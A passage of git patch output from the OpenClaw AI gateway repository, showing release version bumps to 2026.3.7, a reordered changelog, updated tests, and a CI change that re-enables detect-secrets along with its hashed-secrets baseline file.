"version": "2026.3.3", + "version": "2026.3.7", "description": "Lobster workflow tool plugin (typed pipelines + resumable approvals)", "type": "module", "dependencies": { diff --git a/extensions/matrix/CHANGELOG.md b/extensions/matrix/CHANGELOG.md index 755416bd6ed..44232630600 100644 --- a/extensions/matrix/CHANGELOG.md +++ b/extensions/matrix/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.3 ### Changes diff --git a/extensions/matrix/package.json b/extensions/matrix/package.json index 2fc14ffadd6..aada31c09a7 100644 --- a/extensions/matrix/package.json +++ b/extensions/matrix/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/matrix", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Matrix channel plugin", "type": "module", "dependencies": { diff --git a/extensions/mattermost/package.json b/extensions/mattermost/package.json index 6f93c8c53c0..6434d689760 100644 --- a/extensions/mattermost/package.json +++ b/extensions/mattermost/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/mattermost", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Mattermost channel plugin", "type": "module", "dependencies": { diff --git a/extensions/memory-core/package.json b/extensions/memory-core/package.json index 25b87193258..e5388b49755 100644 --- a/extensions/memory-core/package.json +++ b/extensions/memory-core/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/memory-core", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw core memory search plugin", "type": "module", diff --git a/extensions/memory-lancedb/package.json b/extensions/memory-lancedb/package.json index a9e05c3f4f6..e0568e94371 100644 --- a/extensions/memory-lancedb/package.json +++ b/extensions/memory-lancedb/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/memory-lancedb", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw LanceDB-backed long-term memory plugin with auto-recall/capture", "type": "module", diff --git a/extensions/minimax-portal-auth/package.json b/extensions/minimax-portal-auth/package.json index 80e767562de..040480ffc9f 100644 --- a/extensions/minimax-portal-auth/package.json +++ b/extensions/minimax-portal-auth/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/minimax-portal-auth", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw MiniMax Portal OAuth provider plugin", "type": "module", diff --git a/extensions/msteams/CHANGELOG.md b/extensions/msteams/CHANGELOG.md index f062ef907e2..882c4cbcc9b 100644 --- a/extensions/msteams/CHANGELOG.md +++ b/extensions/msteams/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.3 ### Changes diff --git a/extensions/msteams/package.json b/extensions/msteams/package.json index 8689f51cd16..c5841204402 100644 --- a/extensions/msteams/package.json +++ b/extensions/msteams/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/msteams", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Microsoft Teams channel plugin", "type": "module", "dependencies": { diff --git a/extensions/nextcloud-talk/package.json b/extensions/nextcloud-talk/package.json index e3f3fcbeb03..74e9e2e5a55 100644 --- a/extensions/nextcloud-talk/package.json +++ b/extensions/nextcloud-talk/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/nextcloud-talk", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Nextcloud Talk channel plugin", "type": "module", "dependencies": { diff --git a/extensions/nostr/CHANGELOG.md b/extensions/nostr/CHANGELOG.md index b9a57803672..f7755ac2933 100644 --- a/extensions/nostr/CHANGELOG.md +++ b/extensions/nostr/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.3 ### Changes diff --git a/extensions/nostr/package.json b/extensions/nostr/package.json index 8afc0450856..a45bbf49927 100644 --- a/extensions/nostr/package.json +++ b/extensions/nostr/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/nostr", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Nostr channel plugin for NIP-04 encrypted DMs", "type": "module", "dependencies": { diff --git a/extensions/open-prose/package.json b/extensions/open-prose/package.json index 8c45daba14d..d9ef7626717 100644 --- a/extensions/open-prose/package.json +++ b/extensions/open-prose/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/open-prose", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenProse VM skill pack plugin (slash command + telemetry).", "type": "module", diff --git a/extensions/signal/package.json b/extensions/signal/package.json index 4c7e04ab090..d2e7a368b46 100644 --- a/extensions/signal/package.json +++ b/extensions/signal/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/signal", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw Signal channel plugin", "type": "module", diff --git a/extensions/slack/package.json b/extensions/slack/package.json index 5dd8a3db902..49d217fb820 100644 --- a/extensions/slack/package.json +++ b/extensions/slack/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/slack", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw Slack channel plugin", "type": "module", diff --git a/extensions/synology-chat/package.json b/extensions/synology-chat/package.json index e16c17d892c..3ac854c14f0 100644 --- a/extensions/synology-chat/package.json +++ b/extensions/synology-chat/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/synology-chat", - "version": "2026.3.3", + "version": "2026.3.7", "description": "Synology Chat channel plugin for OpenClaw", "type": "module", "dependencies": { diff --git a/extensions/telegram/package.json b/extensions/telegram/package.json index 44013315ef8..f000bd126f6 100644 --- a/extensions/telegram/package.json +++ b/extensions/telegram/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/telegram", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw Telegram channel plugin", "type": "module", diff --git a/extensions/tlon/package.json b/extensions/tlon/package.json index f8ae2b36b70..6817ef7d9dc 100644 --- a/extensions/tlon/package.json +++ b/extensions/tlon/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/tlon", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Tlon/Urbit channel plugin", "type": "module", "dependencies": { diff --git a/extensions/twitch/CHANGELOG.md b/extensions/twitch/CHANGELOG.md index 1d317162a37..f83dd85a9f0 100644 --- a/extensions/twitch/CHANGELOG.md +++ b/extensions/twitch/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.3 ### Changes diff --git a/extensions/twitch/package.json b/extensions/twitch/package.json index 2c8d0502932..1dbc4040325 100644 --- a/extensions/twitch/package.json +++ b/extensions/twitch/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/twitch", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Twitch channel plugin", "type": "module", "dependencies": { diff --git a/extensions/voice-call/CHANGELOG.md b/extensions/voice-call/CHANGELOG.md index 3767703a0be..a91dd5c4d40 100644 --- a/extensions/voice-call/CHANGELOG.md +++ b/extensions/voice-call/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.3 ### Changes diff --git a/extensions/voice-call/package.json b/extensions/voice-call/package.json index 3e2834068d3..bba0088ae0d 100644 --- a/extensions/voice-call/package.json +++ b/extensions/voice-call/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/voice-call", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw voice-call plugin", "type": "module", "dependencies": { diff --git a/extensions/whatsapp/package.json b/extensions/whatsapp/package.json index a408bcb609f..bbd34a9322e 100644 --- a/extensions/whatsapp/package.json +++ b/extensions/whatsapp/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/whatsapp", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw WhatsApp channel plugin", "type": "module", diff --git a/extensions/zalo/CHANGELOG.md b/extensions/zalo/CHANGELOG.md index 317ba4abe08..5b8d7d249cf 100644 --- a/extensions/zalo/CHANGELOG.md +++ b/extensions/zalo/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.3 ### Changes diff --git a/extensions/zalo/package.json b/extensions/zalo/package.json index 2eec4dbc233..24cc10afcf7 100644 --- a/extensions/zalo/package.json +++ b/extensions/zalo/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/zalo", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Zalo channel plugin", "type": "module", "dependencies": { diff --git a/extensions/zalouser/CHANGELOG.md b/extensions/zalouser/CHANGELOG.md index c2603a0973e..4680f5131af 100644 --- a/extensions/zalouser/CHANGELOG.md +++ b/extensions/zalouser/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.3 ### Changes diff --git a/extensions/zalouser/package.json b/extensions/zalouser/package.json index 85e66a73021..581cf4ce8ca 100644 --- a/extensions/zalouser/package.json +++ b/extensions/zalouser/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/zalouser", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Zalo Personal Account plugin via native zca-js integration", "type": "module", "dependencies": { diff --git a/package.json b/package.json index cff417b8500..d8782f9088c 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "openclaw", - "version": "2026.3.3", + "version": "2026.3.7", "description": "Multi-channel AI gateway with extensible messaging integrations", "keywords": [], "homepage": "https://github.com/openclaw/openclaw#readme", diff --git a/src/cli/banner.test.ts b/src/cli/banner.test.ts index 4863bc04551..93e47a750d2 100644 --- a/src/cli/banner.test.ts +++ b/src/cli/banner.test.ts @@ -23,12 +23,12 @@ describe("formatCliBannerLine", () => { cli: { banner: { taglineMode: "off" } }, }); - const line = formatCliBannerLine("2026.3.3", { + const line = formatCliBannerLine("2026.3.7", { commit: "abc1234", richTty: false, }); - expect(line).toBe("🦞 OpenClaw 2026.3.3 (abc1234)"); + expect(line).toBe("🦞 OpenClaw 2026.3.7 (abc1234)"); }); it("uses default tagline when cli.banner.taglineMode is default", () => { @@ -36,12 +36,12 @@ describe("formatCliBannerLine", () => { cli: { banner: { taglineMode: "default" } }, }); - const line = formatCliBannerLine("2026.3.3", { + const line = formatCliBannerLine("2026.3.7", { commit: "abc1234", richTty: false, }); - expect(line).toBe("🦞 OpenClaw 2026.3.3 (abc1234) — All your chats, one OpenClaw."); + expect(line).toBe("🦞 OpenClaw 2026.3.7 (abc1234) — All your chats, one OpenClaw."); }); it("prefers explicit tagline mode over config", () => { @@ -49,12 +49,12 @@ describe("formatCliBannerLine", () => { cli: { banner: { taglineMode: "off" } }, }); - const line = formatCliBannerLine("2026.3.3", { + const line = formatCliBannerLine("2026.3.7", { commit: "abc1234", richTty: false, mode: "default", }); - expect(line).toBe("🦞 OpenClaw 2026.3.3 (abc1234) — All your chats, one OpenClaw."); + expect(line).toBe("🦞 OpenClaw 2026.3.7 (abc1234) — All your chats, one OpenClaw."); }); }); diff --git a/ui/src/ui/app-gateway.node.test.ts b/ui/src/ui/app-gateway.node.test.ts index 6915a30f999..f5ce210906c 100644 --- a/ui/src/ui/app-gateway.node.test.ts +++ b/ui/src/ui/app-gateway.node.test.ts @@ -237,37 +237,37 @@ describe("resolveControlUiClientVersion", () => { expect( resolveControlUiClientVersion({ gatewayUrl: "ws://localhost:8787", - serverVersion: "2026.3.3", + serverVersion: "2026.3.7", pageUrl: "http://localhost:8787/openclaw/", }), - ).toBe("2026.3.3"); + ).toBe("2026.3.7"); }); it("returns serverVersion for same-origin relative targets", () => { expect( resolveControlUiClientVersion({ gatewayUrl: "/ws", - serverVersion: "2026.3.3", + serverVersion: "2026.3.7", pageUrl: "https://control.example.com/openclaw/", }), - ).toBe("2026.3.3"); + ).toBe("2026.3.7"); }); it("returns serverVersion for same-origin http targets", () => { expect( resolveControlUiClientVersion({ gatewayUrl: "https://control.example.com/ws", - serverVersion: "2026.3.3", + serverVersion: "2026.3.7", pageUrl: "https://control.example.com/openclaw/", }), - ).toBe("2026.3.3"); + ).toBe("2026.3.7"); }); it("omits serverVersion for cross-origin targets", () => { expect( resolveControlUiClientVersion({ gatewayUrl: "wss://gateway.example.com", - serverVersion: "2026.3.3", + serverVersion: "2026.3.7", pageUrl: "https://control.example.com/openclaw/", }), ).toBeUndefined(); diff --git a/ui/src/ui/controllers/control-ui-bootstrap.test.ts b/ui/src/ui/controllers/control-ui-bootstrap.test.ts index fbe0750ac27..33460c3cb9d 100644 --- a/ui/src/ui/controllers/control-ui-bootstrap.test.ts +++ b/ui/src/ui/controllers/control-ui-bootstrap.test.ts @@ -13,7 +13,7 @@ describe("loadControlUiBootstrapConfig", () => { assistantName: "Ops", assistantAvatar: "O", assistantAgentId: "main", - serverVersion: "2026.3.2", + serverVersion: "2026.3.7", }), }); vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); @@ -35,7 +35,7 @@ describe("loadControlUiBootstrapConfig", () => { expect(state.assistantName).toBe("Ops"); expect(state.assistantAvatar).toBe("O"); expect(state.assistantAgentId).toBe("main"); - expect(state.serverVersion).toBe("2026.3.2"); + expect(state.serverVersion).toBe("2026.3.7"); vi.unstubAllGlobals(); }); From f358c6f2fb1ee3ed598d86cb2da64d26769cf4c2 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sat, 7 Mar 2026 10:10:42 +0000 Subject: [PATCH 105/844] docs: reorder 2026.3.7 changelog highlights --- CHANGELOG.md | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c7ef5e029ef..9305f490e67 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,28 +6,28 @@ Docs: https://docs.openclaw.ai ### Changes -- Web UI/i18n: add Spanish (`es`) locale support in the Control UI, including locale detection, lazy loading, and language picker labels across supported locales. (#35038) Thanks @DaoPromociones. -- Discord/allowBots mention gating: add `allowBots: "mentions"` to only accept bot-authored messages that mention the bot. Thanks @thewilloftheshadow. -- Docs/Web search: remove outdated Brave free-tier wording and replace prescriptive AI ToS guidance with neutral compliance language in Brave setup docs. (#26860) Thanks @HenryLoenwind. -- Tools/Web search: switch Perplexity provider to Search API with structured results plus new language/region/time filters. (#33822) Thanks @kesku. -- Tools/Diffs guidance loading: move diffs usage guidance from unconditional prompt-hook injection to the plugin companion skill path, reducing unrelated-turn prompt noise while keeping diffs tool behavior unchanged. (#32630) thanks @sircrumpet. -- Agents/tool-result truncation: preserve important tail diagnostics by using head+tail truncation for oversized tool results while keeping configurable truncation options. (#20076) thanks @jlwestsr. -- Telegram/topic agent routing: support per-topic `agentId` overrides in forum groups and DM topics so topics can route to dedicated agents with isolated sessions. (#33647; based on #31513) Thanks @kesor and @Sid-Qin. -- ACP/persistent channel bindings: add durable Discord channel and Telegram topic binding storage, routing resolution, and CLI/docs support so ACP thread targets survive restarts and can be managed consistently. (#34873) Thanks @dutifulbob. -- Slack/DM typing feedback: add `channels.slack.typingReaction` so Socket Mode DMs can show reaction-based processing status even when Slack native assistant typing is unavailable. (#19816) Thanks @dalefrieswthat. -- Cron/job snapshot persistence: skip backup during normalization persistence in `ensureLoaded` so `jobs.json.bak` keeps the pre-edit snapshot for recovery, while preserving backup creation on explicit user-driven writes. (#35234) Thanks @0xsline. -- TTS/OpenAI-compatible endpoints: add `messages.tts.openai.baseUrl` config support with config-over-env precedence, endpoint-aware directive validation, and OpenAI TTS request routing to the resolved base URL. (#34321) thanks @RealKai42. -- Plugins/before_prompt_build system-context fields: add `prependSystemContext` and `appendSystemContext` so static plugin guidance can be placed in system prompt space for provider caching and lower repeated prompt token cost. (#35177) thanks @maweibin. -- Gateway: add SecretRef support for gateway.auth.token with auth-mode guardrails. (#35094) Thanks @joshavant. -- Plugins/hook policy: add `plugins.entries..hooks.allowPromptInjection`, validate unknown typed hook names at runtime, and preserve legacy `before_agent_start` model/provider overrides while stripping prompt-mutating fields when prompt injection is disabled. (#36567) thanks @gumadeiras. -- Tools/Diffs guidance: restore a short system-prompt hint for enabled diffs while keeping the detailed instructions in the companion skill, so diffs usage guidance stays out of user-prompt space. (#36904) thanks @gumadeiras. -- Telegram/ACP topic bindings: accept Telegram Mac Unicode dash option prefixes in `/acp spawn`, support Telegram topic thread binding (`--thread here|auto`), route bound-topic follow-ups to ACP sessions, add actionable Telegram approval buttons with prefixed approval-id resolution, and pin successful bind confirmations in-topic. (#36683) Thanks @huntharo. -- Hooks/Compaction lifecycle: emit `session:compact:before` and `session:compact:after` internal events plus plugin compaction callbacks with session/count metadata, so automations can react to compaction runs consistently. (#16788) thanks @vincentkoc. - Agents/context engine plugin interface: add `ContextEngine` plugin slot with full lifecycle hooks (`bootstrap`, `ingest`, `assemble`, `compact`, `afterTurn`, `prepareSubagentSpawn`, `onSubagentEnded`), slot-based registry with config-driven resolution, `LegacyContextEngine` wrapper preserving existing compaction behavior, scoped subagent runtime for plugin runtimes via `AsyncLocalStorage`, and `sessions.get` gateway method. Enables plugins like `lossless-claw` to provide alternative context management strategies without modifying core compaction logic. Zero behavior change when no context engine plugin is configured. (#22201) thanks @jalehman. -- CLI: make read-only SecretRef status flows degrade safely (#37023) thanks @joshavant. -- Docker/Podman extension dependency baking: add `OPENCLAW_EXTENSIONS` so container builds can preinstall selected bundled extension npm dependencies into the image for faster and more reproducible startup in container deployments. (#32223) Thanks @sallyom. +- ACP/persistent channel bindings: add durable Discord channel and Telegram topic binding storage, routing resolution, and CLI/docs support so ACP thread targets survive restarts and can be managed consistently. (#34873) Thanks @dutifulbob. +- Telegram/ACP topic bindings: accept Telegram Mac Unicode dash option prefixes in `/acp spawn`, support Telegram topic thread binding (`--thread here|auto`), route bound-topic follow-ups to ACP sessions, add actionable Telegram approval buttons with prefixed approval-id resolution, and pin successful bind confirmations in-topic. (#36683) Thanks @huntharo. +- Telegram/topic agent routing: support per-topic `agentId` overrides in forum groups and DM topics so topics can route to dedicated agents with isolated sessions. (#33647; based on #31513) Thanks @kesor and @Sid-Qin. +- Web UI/i18n: add Spanish (`es`) locale support in the Control UI, including locale detection, lazy loading, and language picker labels across supported locales. (#35038) Thanks @DaoPromociones. - Onboarding/web search: add provider selection step and full provider list in configure wizard, with SecretRef ref-mode support during onboarding. (#34009) Thanks @kesku and @thewilloftheshadow. +- Tools/Web search: switch Perplexity provider to Search API with structured results plus new language/region/time filters. (#33822) Thanks @kesku. +- Gateway: add SecretRef support for gateway.auth.token with auth-mode guardrails. (#35094) Thanks @joshavant. +- Docker/Podman extension dependency baking: add `OPENCLAW_EXTENSIONS` so container builds can preinstall selected bundled extension npm dependencies into the image for faster and more reproducible startup in container deployments. (#32223) Thanks @sallyom. +- Plugins/before_prompt_build system-context fields: add `prependSystemContext` and `appendSystemContext` so static plugin guidance can be placed in system prompt space for provider caching and lower repeated prompt token cost. (#35177) thanks @maweibin. +- Plugins/hook policy: add `plugins.entries..hooks.allowPromptInjection`, validate unknown typed hook names at runtime, and preserve legacy `before_agent_start` model/provider overrides while stripping prompt-mutating fields when prompt injection is disabled. (#36567) thanks @gumadeiras. +- Hooks/Compaction lifecycle: emit `session:compact:before` and `session:compact:after` internal events plus plugin compaction callbacks with session/count metadata, so automations can react to compaction runs consistently. (#16788) thanks @vincentkoc. - Agents/compaction post-context configurability: add `agents.defaults.compaction.postCompactionSections` so deployments can choose which `AGENTS.md` sections are re-injected after compaction, while preserving legacy fallback behavior when the documented default pair is configured in any order. (#34556) thanks @efe-arv. +- TTS/OpenAI-compatible endpoints: add `messages.tts.openai.baseUrl` config support with config-over-env precedence, endpoint-aware directive validation, and OpenAI TTS request routing to the resolved base URL. (#34321) thanks @RealKai42. +- Slack/DM typing feedback: add `channels.slack.typingReaction` so Socket Mode DMs can show reaction-based processing status even when Slack native assistant typing is unavailable. (#19816) Thanks @dalefrieswthat. +- Discord/allowBots mention gating: add `allowBots: "mentions"` to only accept bot-authored messages that mention the bot. Thanks @thewilloftheshadow. +- Agents/tool-result truncation: preserve important tail diagnostics by using head+tail truncation for oversized tool results while keeping configurable truncation options. (#20076) thanks @jlwestsr. +- Cron/job snapshot persistence: skip backup during normalization persistence in `ensureLoaded` so `jobs.json.bak` keeps the pre-edit snapshot for recovery, while preserving backup creation on explicit user-driven writes. (#35234) Thanks @0xsline. +- CLI: make read-only SecretRef status flows degrade safely (#37023) thanks @joshavant. +- Tools/Diffs guidance: restore a short system-prompt hint for enabled diffs while keeping the detailed instructions in the companion skill, so diffs usage guidance stays out of user-prompt space. (#36904) thanks @gumadeiras. +- Tools/Diffs guidance loading: move diffs usage guidance from unconditional prompt-hook injection to the plugin companion skill path, reducing unrelated-turn prompt noise while keeping diffs tool behavior unchanged. (#32630) thanks @sircrumpet. +- Docs/Web search: remove outdated Brave free-tier wording and replace prescriptive AI ToS guidance with neutral compliance language in Brave setup docs. (#26860) Thanks @HenryLoenwind. ### Breaking From 14c61bb33faf5d6d4a2f012c9f49523b54904e0a Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 16:06:18 +0530 Subject: [PATCH 106/844] fix(ci): re-enable detect-secrets on main --- .github/workflows/ci.yml | 5 - .secrets.baseline | 2853 ++++++++++++++++++++++++++++++-------- 2 files changed, 2242 insertions(+), 616 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0e3c21e9119..8850f9f53e2 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -316,11 +316,6 @@ jobs: run: | set -euo pipefail - if [ "${{ github.ref }}" = "refs/heads/main" ]; then - echo "Skipping detect-secrets on main until the allowlist cleanup lands." - exit 0 - fi - if [ "${{ github.event_name }}" = "push" ]; then echo "Running full detect-secrets scan on push." pre-commit run --all-files detect-secrets diff --git a/.secrets.baseline b/.secrets.baseline index fbfbf368f21..66b3ddec231 100644 --- a/.secrets.baseline +++ b/.secrets.baseline @@ -163,54 +163,22 @@ "line_number": 15 } ], - "appcast.xml": [ - { - "type": "Base64 High Entropy String", - "filename": "appcast.xml", - "hashed_secret": "2bc43713edb8f775582c6314953b7c020d691aba", - "is_verified": false, - "line_number": 141 - }, - { - "type": "Base64 High Entropy String", - "filename": "appcast.xml", - "hashed_secret": "2fcd83b35235522978c19dbbab2884a09aa64f35", - "is_verified": false, - "line_number": 209 - }, - { - "type": "Base64 High Entropy String", - "filename": "appcast.xml", - "hashed_secret": "78b65f0952ed8a557e0f67b2364ff67cb6863bc8", - "is_verified": false, - "line_number": 310 - } - ], - "apps/android/app/src/test/java/ai/openclaw/android/node/AppUpdateHandlerTest.kt": [ + "apps/android/app/src/test/java/ai/openclaw/app/node/AppUpdateHandlerTest.kt": [ { "type": "Hex High Entropy String", - "filename": "apps/android/app/src/test/java/ai/openclaw/android/node/AppUpdateHandlerTest.kt", + "filename": "apps/android/app/src/test/java/ai/openclaw/app/node/AppUpdateHandlerTest.kt", "hashed_secret": "ee662f2bc691daa48d074542722d8e1b0587673c", "is_verified": false, "line_number": 58 } ], - "apps/ios/Sources/Gateway/GatewaySettingsStore.swift": [ - { - "type": "Secret Keyword", - "filename": "apps/ios/Sources/Gateway/GatewaySettingsStore.swift", - "hashed_secret": "5f7c0c35e552780b67fe1c0ee186764354793be3", - "is_verified": false, - "line_number": 28 - } - ], "apps/ios/Tests/DeepLinkParserTests.swift": [ { "type": "Secret Keyword", "filename": "apps/ios/Tests/DeepLinkParserTests.swift", "hashed_secret": "1a91d62f7ca67399625a4368a6ab5d4a3baa6073", "is_verified": false, - "line_number": 89 + "line_number": 105 } ], "apps/macos/Sources/OpenClawProtocol/GatewayModels.swift": [ @@ -219,23 +187,7 @@ "filename": "apps/macos/Sources/OpenClawProtocol/GatewayModels.swift", "hashed_secret": "7990585255d25249fb1e6eac3d2bd6c37429b2cd", "is_verified": false, - "line_number": 1492 - } - ], - "apps/macos/Tests/OpenClawIPCTests/AnthropicAuthResolverTests.swift": [ - { - "type": "Secret Keyword", - "filename": "apps/macos/Tests/OpenClawIPCTests/AnthropicAuthResolverTests.swift", - "hashed_secret": "e761624445731fcb8b15da94343c6b92e507d190", - "is_verified": false, - "line_number": 26 - }, - { - "type": "Secret Keyword", - "filename": "apps/macos/Tests/OpenClawIPCTests/AnthropicAuthResolverTests.swift", - "hashed_secret": "a23c8630c8a5fbaa21f095e0269c135c20d21689", - "is_verified": false, - "line_number": 42 + "line_number": 1745 } ], "apps/macos/Tests/OpenClawIPCTests/GatewayEndpointStoreTests.swift": [ @@ -244,7 +196,7 @@ "filename": "apps/macos/Tests/OpenClawIPCTests/GatewayEndpointStoreTests.swift", "hashed_secret": "19dad5cecb110281417d1db56b60e1b006d55bb4", "is_verified": false, - "line_number": 61 + "line_number": 66 } ], "apps/macos/Tests/OpenClawIPCTests/GatewayLaunchAgentManagerTests.swift": [ @@ -271,7 +223,7 @@ "filename": "apps/shared/OpenClawKit/Sources/OpenClawKit/GatewayChannel.swift", "hashed_secret": "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8", "is_verified": false, - "line_number": 106 + "line_number": 115 } ], "apps/shared/OpenClawKit/Sources/OpenClawProtocol/GatewayModels.swift": [ @@ -280,7 +232,7 @@ "filename": "apps/shared/OpenClawKit/Sources/OpenClawProtocol/GatewayModels.swift", "hashed_secret": "7990585255d25249fb1e6eac3d2bd6c37429b2cd", "is_verified": false, - "line_number": 1492 + "line_number": 1745 } ], "docs/.i18n/zh-CN.tm.jsonl": [ @@ -9612,14 +9564,14 @@ "filename": "docs/channels/feishu.md", "hashed_secret": "b60d121b438a380c343d5ec3c2037564b82ffef3", "is_verified": false, - "line_number": 187 + "line_number": 189 }, { "type": "Secret Keyword", "filename": "docs/channels/feishu.md", "hashed_secret": "186154712b2d5f6791d85b9a0987b98fa231779c", "is_verified": false, - "line_number": 435 + "line_number": 501 } ], "docs/channels/irc.md": [ @@ -9628,7 +9580,7 @@ "filename": "docs/channels/irc.md", "hashed_secret": "d54831b8e4b461d85e32ea82156d2fb5ce5cb624", "is_verified": false, - "line_number": 191 + "line_number": 198 } ], "docs/channels/line.md": [ @@ -9637,7 +9589,7 @@ "filename": "docs/channels/line.md", "hashed_secret": "83661b43df128631f891767fbfc5b049af3dce86", "is_verified": false, - "line_number": 61 + "line_number": 65 } ], "docs/channels/matrix.md": [ @@ -9698,21 +9650,21 @@ "filename": "docs/concepts/memory.md", "hashed_secret": "39d711243bfcee9fec8299b204e1aa9c3430fa12", "is_verified": false, - "line_number": 281 + "line_number": 301 }, { "type": "Secret Keyword", "filename": "docs/concepts/memory.md", "hashed_secret": "1a8abbf465c52363ab4c9c6ad945b8e857cbea55", "is_verified": false, - "line_number": 305 + "line_number": 325 }, { "type": "Secret Keyword", "filename": "docs/concepts/memory.md", "hashed_secret": "b9f640d6095b9f6b5a65983f7b76dbbb254e0044", "is_verified": false, - "line_number": 706 + "line_number": 726 } ], "docs/concepts/model-providers.md": [ @@ -9721,21 +9673,30 @@ "filename": "docs/concepts/model-providers.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 178 + "line_number": 226 }, { "type": "Secret Keyword", "filename": "docs/concepts/model-providers.md", "hashed_secret": "6a4a6c8f2406f4f0843a0a1aae6a320f92f9d6ae", "is_verified": false, - "line_number": 274 + "line_number": 386 }, { "type": "Secret Keyword", "filename": "docs/concepts/model-providers.md", "hashed_secret": "ef83ad68b9b66e008727b7c417c6a8f618b5177e", "is_verified": false, - "line_number": 305 + "line_number": 417 + } + ], + "docs/design/kilo-gateway-integration.md": [ + { + "type": "Secret Keyword", + "filename": "docs/design/kilo-gateway-integration.md", + "hashed_secret": "9addbf544119efa4a64223b649750a510f0d463f", + "is_verified": false, + "line_number": 458 } ], "docs/gateway/configuration-examples.md": [ @@ -9758,21 +9719,21 @@ "filename": "docs/gateway/configuration-examples.md", "hashed_secret": "22af290a1a3d5e941193a41a3d3a9e4ca8da5e27", "is_verified": false, - "line_number": 332 + "line_number": 336 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-examples.md", "hashed_secret": "c1e6ee547fd492df1441ac492e8bb294974712bd", "is_verified": false, - "line_number": 431 + "line_number": 439 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-examples.md", "hashed_secret": "16c249e04e2be318050cb883c40137361c0c7209", "is_verified": false, - "line_number": 596 + "line_number": 613 } ], "docs/gateway/configuration-reference.md": [ @@ -9781,70 +9742,70 @@ "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 149 + "line_number": 199 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "1188d5a8ed7edcff5144a9472af960243eacf12e", "is_verified": false, - "line_number": 1267 + "line_number": 1611 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "bde4db9b4c3be4049adc3b9a69851d7c35119770", "is_verified": false, - "line_number": 1283 + "line_number": 1627 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "7f8aaf142ce0552c260f2e546dda43ddd7c9aef3", "is_verified": false, - "line_number": 1461 + "line_number": 1812 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "22af290a1a3d5e941193a41a3d3a9e4ca8da5e27", "is_verified": false, - "line_number": 1603 + "line_number": 1985 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", 